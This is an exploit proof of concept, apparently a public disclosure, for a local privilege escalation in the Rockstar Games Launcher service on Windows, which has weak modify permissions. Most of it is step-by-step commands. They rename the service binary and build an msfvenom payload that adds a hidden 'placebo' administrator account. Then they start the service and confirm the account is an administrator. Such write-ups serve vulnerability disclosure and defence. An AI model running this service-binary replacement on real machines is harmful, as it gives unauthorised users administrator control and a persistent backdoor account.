# Date: 2020-04-02
# Exploit Author: George Tsimpidas
# Software Link : https://socialclub.rockstargames.com/rockstar-games-launcher
# Version Patch: 1.0.37.349

Vulnerability Description:

RockstarService.exe  suffers from an elevation of privileges vulnerability which can be used by an "Authenticated User" to modify the existing executable file of the service with a binary of his choice. The vulnerability exist due to weak set of permissions being granted to the "Authenticated Users Group" which grants the (M) Flag aka "Modify Privilege"

#PoC

 D:\Launcher> icacls .\Launcher.exe

.\Launcher.exe BUILTIN\Administrators:(I)(F)
               NT AUTHORITY\SYSTEM:(I)(F)
               NT AUTHORITY\Authenticated Users:(I)(M)
               BUILTIN\Users:(I)(RX)

#1. Create low privileged user & Login  to that user

C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the RockstarService.exe to a new name

D:\Launcher> move RockstarService.exe RockstarService.exe.bk
1 file(s) moved.

#3. Create malicious binary on kali linux with MSF

msfvenom -f exe -p windows/exec CMD="net user placebo Password123! /add && net localgroup Administrators placebo /add" -o RockstarService.exe

#4. Transfer created 'RockstarService.exe' to the Windows Host

#5. Move the created 'RockstarService.exe' binary to the 'D:\Launcher' to replace the old one

#6. Now start the Service

Command : net start 'Rockstar Service'

Now check out that the user has been registered to the system and added to the local group of Administrators

C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None
